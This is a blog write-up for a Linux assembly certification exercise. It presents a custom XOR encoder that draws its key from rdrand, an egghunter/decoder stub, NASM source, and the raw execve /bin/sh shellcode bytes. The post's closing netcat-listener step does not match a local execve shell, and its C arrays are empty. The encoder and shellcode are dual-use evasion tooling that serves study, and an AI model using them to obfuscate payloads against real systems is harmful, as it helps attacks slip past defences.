SLAE Assignment #4 – Create a custom encoding scheme

Github link to files

Assignment 4 was one of my favorites as it allowed some creativity when creating an encoding scheme to obfuscate the real shellcode.

Explanation of files

bencoder.nasm (The custom encoder):
This assembly program encodes the execve-stack shellcode by XOR’ing each byte with a new pseudorandom byte obtained from the Intel ‘rdrand’ CPU instruction. This creates a key to decode the execve-stack shellcode.  It writes the pseudorandom bytes obtained by the ‘rdrand’ instruction into the ‘key.hex’ file, the encoded bytes into the ‘enc.hex’ file, and the original execve-stack shellcode bytes into the ‘raw.hex’ file. (Creates the C source file):
Reads all of the binary .hex files created by the compiled bencoder.nasm program to obtain the hex values.  It then places the values into a dictionary which is keyed by the filename. The key and egg value are then combined and formatted appropriately to be placed in the C source file. The egghunter/decoder shellcode bytes are then pieced together with the ‘enc.hex’ bytes from the dictionary as well as the bytes from the egg value entered in step 2 above.

The opcodes from the egghunter/decoder combo program were obtained by compiling the decoder.nasm program, and then using objdump to display the opcodes. The create_decoder_shellcode() function re-creates these opcodes based on whatever egg value was specified as well as whatever value happens to be in the ‘enc.hex’ key of the dictionary (named ‘byte_string_dict’) created earlier. Finally, the program generates
a C source file and prints it to standard output.

decoder.nasm (Egghunter & Decoder stub):
This program searches all valid memory for the egg which is used in this case to locate where the key bytes are found in memory. Once the key bytes are found, the encoded shellcode is XOR’ed byte-by-byte and then execution jumps to that memory location, which executes the now-decoded execve-stack shellcode.

enc.hex (encoded shellcode):
These bytes are the encoded shellcode produced by the bencoder.nasm program.

key.hex (key bytes):
These bytes serve as the key to decode the encoded shellcode.

raw.hex (raw shellcode):
This is the execve-stack shellcode prior to encoding. Provided only as an example for examination, and not currently used by any program here.

Code explanation:

push ebp 
mov ebp, esp 
mov eax, 5              ; Syscall number for OPEN() 
mov ebx, edi            ; Get to the previous EDI which is 8 bytes away 
mov ecx, 0101o          ; Octal code for O_CREAT, O_WRONLY, O_EXCL flags 
mov edx, 0666o          ; Octal code to set permissions 
int 0x80                ; Execute the syscall 
test eax, eax           ; Check for negative value 
js short error          ; If syscall = negative value, jump to err label 
mov ebx, eax            ; Save the file descriptor into ebx 
mov eax, 0x4            ; Syscall number for WRITE() 
mov ecx, esi            ; Get to the previous ESI which is 12 bytes away 
mov edx, Rlen           ; Should refer to len of both Key and RawShellcode 
int 0x80                ; Execute the syscall 
test eax, eax           ; Check for negative value 
js short error 
mov eax, 0x76           ; Syscall number for FSYNC() 
int 0x80                ; ebx should still have the file descriptor 
test eax, eax 
js short error 
mov eax, 0x6            ; Syscall number for CLOSE() 
int 0x80                ; Close the open file descriptor in ebx 
mov esp, ebp 
pop ebp 

The assembly in the writefile label specifies the correct flags to write each of the three files (raw.hex, enc.hex, key.hex) and perform an fsync() when finished.

        mov eax, 0x4
        mov ebx, 0x1
        mov ecx, errmsg
        mov edx, errlen
        int 0x80
        mov eax, 0x1
        mov ebx, 0x1
        int 0x80                ; Indicate Abnormal exit

The error label simply contains code to report abnormal conditions and then exit.

        lea esi, [RawShellcode] ; ESI is a pointer to RawShellcode
        mov edi, rawfile
        call writefile
        lea ebx, [Key]          ; EBX is a pointer to the memory reserved for the key
        mov ecx, Rlen           ; ECX is counter for # of RawShellcode bytes
        jmp short step1

The _start section begins with writing out the original bytes to a file prior to any encoding for use in comparison with the encoded bytes and key bytes.

        rdrand edx              ; If random, carry flag should be set
        jc short step2          ; Random bytes, thus move on
        jmp short step1         ; Not random bytes, try again
        test dl, dl             ; Test DL to make sure RDRAND didn't select a null
        je short step1          ; Jumps back to step1 if the last byte is a null
        jmp short step3         ; Last byte isn't null, move to step 3

The beginning of the encoding process starts at the step1 label, where the rdrand instruction is executed.  The carry flag should be set if rdrand was successful in obtaining pseudorandom bytes.  A conditional jump ensures that we don’t leave this state without rdrand succeeding.  Step2 performs a test to ensure that the pseudorandom bytes don’t result in a null byte.  No further error checking is done, but there is likely room to improve this here.  Once a non-null byte is obtained, we move to step3:

        xor eax, eax
        mov al, dl              ; Move the now-valid key byte into AL for XOR oper.
        xor al, byte [esi]      ; AL now has the XOR'ed byte, need to check for zero.
        jz short step1
        mov byte [ebx], dl      ; Store first byte of key
        mov byte [esi], al      ; Replace raw byte with XOR'ed byte
        inc esi
        inc ebx
        loop step1              ; Repeat Step 1 - 3 for each byte
        mov edi, keyfile
        lea esi, [RawShellcode]
        call writefile
        mov edi, encfile
        lea esi, [Key]
        call writefile
        call cleanup

This step is where each shellcode byte is XOR’ed with a pseudorandom “key” byte obtained in step1.  An additional check is done at the start of this process to ensure the key byte does not equal the original shellcode byte (resulting in a zero during an XOR operation).  ECX was previously primed with the length of the shellcode bytes, so the loop operations self-terminate once all of the shellcode bytes have been XORed.   Every byte undergoes a new rdrand operation, so each key byte obtained is a new pseudorandom value.

section .data                   ; RawShellcode is our good friend, the execve-stack shellcode
        RawShellcode:   db 0x31,0xc0,0x50,0x68,0x2f,0x2f,0x73,0x68,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x50,0x89,0xe2,0x53,0x89,0xe1,0xb0,0x0b,0xcd,0x80
        Rlen            equ $-RawShellcode
        keyfile:        db 'key.hex', 0
        rawfile:        db 'raw.hex', 0
        encfile:        db 'enc.hex', 0
        errmsg:         db 'Syscall failed! Exiting...', 0xA, 0x0
        errlen          equ $-errmsg
section .bss
        Key:            resb Rlen  ; Key and Shellcode must be the same size as each byte is encoded
                                   ; with a new pseudorandom byte via rdrand.

The raw shellcode used in the example here is the familiar execve-stack shellcode.

A decoder stub was written using NASM as well and is available at the GitHub link for further study if needed.  The shellcode bytes from the decoder stub were used within the program which combines both the encoder written for this assignment as well as an egghunter.  In this case, the egg value signifies the location of the key that is used to XOR the encoded shellcode bytes.

To output the skeleton C file, run the program, specifying the egg value and the output format, in this case “c”.  This can of course be redirected to a file:

./ -e 1b2a -f c > shellcode.c

Examining the C source file shows us that thekey[] variable has the egg value prepended at index 0-7 for the egghunter to be able to find it.


unsigned char the_key[] = \

unsigned char code[] = \


printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;



Opening up a listener on TCP port 7777 using netcat, and then running ./shellcode results in the shellcode marked by the egg value being executed, giving us our execve-stack method of obtaining a shell!


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID:  SLAE-860

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s